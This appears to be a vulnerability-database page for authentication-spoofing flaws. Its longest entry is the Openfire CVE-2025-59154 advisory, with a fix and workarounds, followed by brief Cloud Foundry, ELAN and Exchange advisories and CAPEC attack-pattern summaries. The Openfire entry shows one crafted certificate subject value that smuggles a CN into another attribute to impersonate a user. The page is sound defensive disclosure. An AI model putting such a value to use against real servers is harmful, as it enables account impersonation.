Openfire’s SASL EXTERNAL mechanism for client TLS authentication contains a vulnerability in how it extracts user identities from X.509 certificates. Instead of parsing the structured ASN.1 data, the code calls X509Certificate.getSubjectDN().getName() and applies a regex to look for CN=. This method produces a provider-dependent string that does not escape special characters. In SunJSSE (sun.security.x509.X500Name), for example, commas and equals signs inside attribute values are not escaped.

As a result, a malicious certificate can embed CN= inside another attribute value (e.g. OU="CN=admin,"). The regex will incorrectly interpret this as a legitimate Common Name and extract admin. If SASL EXTERNAL is enabled and configured to map CNs to user accounts, this allows the attacker to impersonate another user.

Impact

When there is no explicit configuration override, Openfire defaults to using certificate attributes as follows:

  • Server-to-server certificates: first the Subject Alternative Name (SAN), and if that is not available, the Common Name (CN).
  • Client-to-server certificates: only the Common Name (CN).

Use of CN for identity mapping was phased out by the CA/Browser Forum. CAB Forum-compliant CAs no longer allow arbitrary Subject RDNs and always include SANs. As a result, certificates issued by public CAs for use on the open Internet are unlikely to be exploitable, though older certificates still within their validity period could theoretically be abused.

The primary risks exist in private CA environments and client certificate authentication, where identity mapping may rely solely on the CN. Both of these are niche deployment scenarios.

Patches

The path has been prepared by replacing the use of getSubjectDN().getName() with standards-compliant LdapName parsing of the RFC2253 representation of X500Principal. This avoids unescaped provider-dependent strings and prevents regex from matching malicious substrings.

The fix is included in Openfire 5.0.2 and 5.1.0. Users should upgrade to this version as soon as it becomes available.

Starting in Openfire 5.0.2, Openfire will by default prefer a Subject Alternative Name-based identity over a Common Name based one for client-to-server authentication (issue OF-3123). For server-to-server authentication, this already is the case.

In Openfire 5.1.0, Openfire will no longer, by default, use Common Name based identities, although this functionality can be restored through configuration changes (issue OF-3122).

Workarounds

The vulnerability is fixed in the upcoming release, but there are operational mitigations you can apply today.

Full workaround (drop-in replacement JAR using the fixed mapper)

This is a complete workaround: 1. Take the fixed mapper implementation (the code that uses LdapName / RFC2253 parsing) from the patched Openfire source. 2. Create a new Java class in your proprietary namespace (for example com.acme.openfire.SafeCNCertificateIdentityMapping) that implements the same Openfire certificate-identity mapping interface and contains the fixed parsing logic. Ensure the logic exactly mirrors the patched behavior (use X500Principal.getName() with RFC2253 and javax.naming.ldap.LdapName to parse RDNs, do not rely on getSubjectDN().getName() or provider-dependent strings). 3. Package the class into a JAR file. 4. Place the JAR into Openfire’s lib/ directory (e.g. $OPENFIRE_HOME/lib/your-fixed-mapper.jar). 5. Configure Openfire to use your class for mapping by setting the following properties (in the admin console / system properties). Note that it remains advisable to configure Openfire to keep preferring SAN-based identities:

# For server-to-server identity mapping
provider.serverCertIdentityMap.classList=org.jivesoftware.util.cert.SANCertificateIdentityMapping,com.acme.openfire.SafeCNCertificateIdentityMapping

# For client-to-server identity mapping
provider.clientCertIdentityMap.classList=org.jivesoftware.util.cert.SANCertificateIdentityMapping,com.acme.openfire.SafeCNCertificateIdentityMapping

Both properties accept a comma-separated list of fully-qualified class names; listing only your safe mapper forces Openfire to use your implementation instead of the vulnerable built-in mapper. After placing the JAR and updating properties, restart Openfire.

Notes & caveats for the full workaround

  • This is effectively a complete mitigation for the vulnerable CN-extraction behavior without deploying a new official release.
  • Maintain the JAR: you are responsible for keeping the custom class updated if you upgrade Openfire to newer major versions.
  • Ensure your custom mapper truly implements the patched parsing (do not copy the vulnerable getSubjectDN().getName() + regex approach). Use X500Principal → getName(RFC2253) → new LdapName(...) → iterate RDNs in a robust way.
  • Because this runs in the Openfire JVM, follow your organization’s binary-signing and review policies before deploying.

Other, lesser workarounds

Use SAN-only mapping

Configure the mapper list to only include Openfire’s SAN mapper: org.jivesoftware.util.cert.SANCertificateIdentityMapping. This prevents CN parsing-based spoofing but breaks authentication for certificates that contain only a CN and no SAN.

Disable certificate-based authentication:

  • For server-to-server, disabling certificate auth leaves only Server Dialback, which is less secure; depending on your environment, this may be a worse trade-off.
  • For client-to-server, disable “mutual authentication” in the admin console to stop client cert authentication altogether.

References

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.igniterealtime.openfire:xmppserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-16T01:54:24Z",
    "nvd_published_at": "2025-09-15T20:15:39Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIdentity spoofing in X.509 client certificate authentication in Openfire allows internal attackers to impersonate other users via crafted certificate subject attributes, due to regex-based extraction of CN from an unescaped, provider-dependent DN string.\n\n## Analysis\n\nOpenfire\u2019s SASL EXTERNAL mechanism for client TLS authentication contains a vulnerability in how it extracts user identities from X.509 certificates. Instead of parsing the structured ASN.1 data, the code calls `X509Certificate.getSubjectDN().getName()` and applies a regex to look for `CN=`. This method produces a provider-dependent string that does not escape special characters. In SunJSSE (`sun.security.x509.X500Name`), for example, commas and equals signs inside attribute values are not escaped.\n\nAs a result, a malicious certificate can embed `CN=` inside another attribute value (e.g. `OU=\"CN=admin,\"`). The regex will incorrectly interpret this as a legitimate Common Name and extract admin. If SASL EXTERNAL is enabled and configured to map CNs to user accounts, this allows the attacker to impersonate another user.\n\n## Impact\n\nWhen there is no explicit configuration override, Openfire defaults to using certificate attributes as follows:\n\n- Server-to-server certificates: first the Subject Alternative Name (SAN), and if that is not available, the Common Name (CN).\n- Client-to-server certificates: only the Common Name (CN).\n\nUse of CN for identity mapping was phased out by the CA/Browser Forum. CAB Forum-compliant CAs no longer allow arbitrary Subject RDNs and always include SANs. As a result, certificates issued by public CAs for use on the open Internet are unlikely to be exploitable, though older certificates still within their validity period could theoretically be abused.\n\nThe primary risks exist in private CA environments and client certificate authentication, where identity mapping may rely solely on the CN. Both of these are niche deployment scenarios.\n\n## Patches\n\nThe path has been prepared by replacing the use of `getSubjectDN().getName()` with standards-compliant `LdapName` parsing of the RFC2253 representation of `X500Principal`. This avoids unescaped provider-dependent strings and prevents regex from matching malicious substrings.  \n\nThe fix is included in Openfire 5.0.2 and 5.1.0. Users should upgrade to this version as soon as it becomes available.  \n\nStarting in Openfire 5.0.2, Openfire will by default prefer a Subject Alternative Name-based identity over a Common Name based one for client-to-server authentication (issue OF-3123). For server-to-server authentication, this already is the case.\n\nIn Openfire 5.1.0, Openfire will no longer, by default, use Common Name based identities, although this functionality can be restored through configuration changes (issue OF-3122).\n \n## Workarounds\n\nThe vulnerability is fixed in the upcoming release, but there are operational mitigations you can apply today.\n\n### Full workaround (drop-in replacement JAR using the fixed mapper)\n _This is a complete workaround:_\n1. Take the fixed mapper implementation (the code that uses LdapName / RFC2253 parsing) from the patched Openfire source.\n2. Create a new Java class in your proprietary namespace (for example `com.acme.openfire.SafeCNCertificateIdentityMapping`) that implements the same Openfire certificate-identity mapping interface and contains the fixed parsing logic. Ensure the logic exactly mirrors the patched behavior (use `X500Principal.getName()` with RFC2253 and `javax.naming.ldap.LdapName` to parse RDNs, do not rely on `getSubjectDN().getName()` or provider-dependent strings).\n3. Package the class into a JAR file.\n4. Place the JAR into Openfire\u2019s lib/ directory (e.g. `$OPENFIRE_HOME/lib/your-fixed-mapper.jar`).\n5. Configure Openfire to use your class for mapping by setting the following properties (in the admin console / system properties). Note that it remains advisable to configure Openfire to keep preferring SAN-based identities:\n```\n# For server-to-server identity mapping\nprovider.serverCertIdentityMap.classList=org.jivesoftware.util.cert.SANCertificateIdentityMapping,com.acme.openfire.SafeCNCertificateIdentityMapping\n\n# For client-to-server identity mapping\nprovider.clientCertIdentityMap.classList=org.jivesoftware.util.cert.SANCertificateIdentityMapping,com.acme.openfire.SafeCNCertificateIdentityMapping\n```\nBoth properties accept a comma-separated list of fully-qualified class names; listing only your safe mapper forces Openfire to use your implementation instead of the vulnerable built-in mapper. After placing the JAR and updating properties, *restart Openfire*.\n\n**Notes \u0026 caveats for the full workaround**\n\n- This is effectively a complete mitigation for the vulnerable CN-extraction behavior without deploying a new official release.\n- Maintain the JAR: you are responsible for keeping the custom class updated if you upgrade Openfire to newer major versions.\n- Ensure your custom mapper truly implements the patched parsing (do not copy the vulnerable `getSubjectDN().getName()` + regex approach). Use `X500Principal` \u2192 `getName(RFC2253)` \u2192 `new LdapName(...)` \u2192 iterate RDNs in a robust way.\n- Because this runs in the Openfire JVM, follow your organization\u2019s binary-signing and review policies before deploying.\n\n### Other, lesser workarounds\n\n#### Use SAN-only mapping\nConfigure the mapper list to only include Openfire\u2019s SAN mapper: `org.jivesoftware.util.cert.SANCertificateIdentityMapping`. This prevents CN parsing-based spoofing but breaks authentication for certificates that contain only a CN and no SAN.\n\n#### Disable certificate-based authentication:\n- For server-to-server, disabling certificate auth leaves only Server Dialback, which is less secure; depending on your environment, this may be a worse trade-off.\n- For client-to-server, disable \u201cmutual authentication\u201d in the admin console to stop client cert authentication altogether.\n\n## References\n\n- Openfire issue tracker: [OF-3124: Potential identity spoofing via unsafe CN parsing](https://igniterealtime.atlassian.net/browse/OF-3124)\n- Affected code: [CNCertificateIdentityMapping.java#L43](https://github.com/igniterealtime/Openfire/blob/8d073dda36905da0fdee7cb623c025a01a5cbf6b/xmppserver/src/main/java/org/jivesoftware/util/cert/CNCertificateIdentityMapping.java#L43)  \n- Openfire issue tracker: [OF-3122: Stop by default using Common Name based identities](https://igniterealtime.atlassian.net/browse/OF-3122)\n- Openfire issue tracker: [OF-3123: For client mutual authentication, prefer Subject Alternative Name for identities](https://igniterealtime.atlassian.net/browse/OF-3123)",
  "id": "GHSA-w252-645g-87mp",
  "modified": "2025-09-16T01:54:24Z",
  "published": "2025-09-16T01:54:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/igniterealtime/Openfire/security/advisories/GHSA-w252-645g-87mp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59154"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/igniterealtime/Openfire"
    },
    {
      "type": "WEB",
      "url": "https://github.com/igniterealtime/Openfire/blob/8d073dda36905da0fdee7cb623c025a01a5cbf6b/xmppserver/src/main/java/org/jivesoftware/util/cert/CNCertificateIdentityMapping.java#L43"
    },
    {
      "type": "WEB",
      "url": "https://igniterealtime.atlassian.net/browse/OF-3122"
    },
    {
      "type": "WEB",
      "url": "https://igniterealtime.atlassian.net/browse/OF-3123"
    },
    {
      "type": "WEB",
      "url": "https://igniterealtime.atlassian.net/browse/OF-3124"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Openfire has potential identity spoofing issue via unsafe CN parsing"
}

GHSA-W3H5-P6V5-5VJM

Vulnerability from github – Published: 2024-07-03 18:48 – Updated: 2024-07-03 18:48
VLAI
Details

Security check loophole in HAProxy release (in combination with routing release) in Cloud Foundry prior to v40.17.0 potentially allows bypass of mTLS authentication to applications hosted on Cloud Foundry.

Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-37082"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-03T06:15:03Z",
    "severity": "CRITICAL"
  },
  "details": "Security check loophole in HAProxy release (in combination with routing release) in Cloud Foundry prior to v40.17.0 potentially allows bypass of mTLS authentication to applications hosted on Cloud Foundry.",
  "id": "GHSA-w3h5-p6v5-5vjm",
  "modified": "2024-07-03T18:48:04Z",
  "published": "2024-07-03T18:48:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37082"
    },
    {
      "type": "WEB",
      "url": "https://www.cloudfoundry.org/blog/cve-2024-37082-mtls-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W3JX-33QH-77F8

Vulnerability from github – Published: 2024-01-12 03:30 – Updated: 2024-01-12 03:30
VLAI
Details

ELAN Match-on-Chip FPR solution has design fault about potential risk of valid SID leakage and enumeration with spoof sensor. This fault leads to that Windows Hello recognition would be bypass with cloning SID to cause broken account identity. Version which is lower than 3.0.12011.08009(Legacy)/3.3.12011.08103(ESS) would suffer this risk on DELL Inspiron platform.

Severity
6.0 (Medium)
CVSS:3.1/AV:P/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-0454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-12T02:15:44Z",
    "severity": "MODERATE"
  },
  "details": "ELAN Match-on-Chip FPR solution has design fault about potential risk of valid SID leakage and enumeration with spoof sensor.\nThis fault leads to that Windows Hello recognition would be bypass with cloning SID to cause broken account identity.\nVersion which is lower than 3.0.12011.08009(Legacy)/3.3.12011.08103(ESS) would suffer this risk on DELL Inspiron platform.",
  "id": "GHSA-w3jx-33qh-77f8",
  "modified": "2024-01-12T03:30:49Z",
  "published": "2024-01-12T03:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0454"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-w3jx-33qh-77f8"
    },
    {
      "type": "WEB",
      "url": "https://www.emc.com.tw/emc/tw/vulnerability-disclosure-policy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W3MG-G64H-4H34

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2023-08-02 00:30
VLAI
Details

Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31198.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-31195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-11T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31198.",
  "id": "GHSA-w3mg-g64h-4h34",
  "modified": "2023-08-02T00:30:32Z",
  "published": "2022-05-24T19:02:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31195"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.

CAPEC-473: Signature Spoof

An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.

CAPEC-476: Signature Spoofing by Misrepresentation

An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-667: Bluetooth Impersonation AttackS (BIAS)

An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list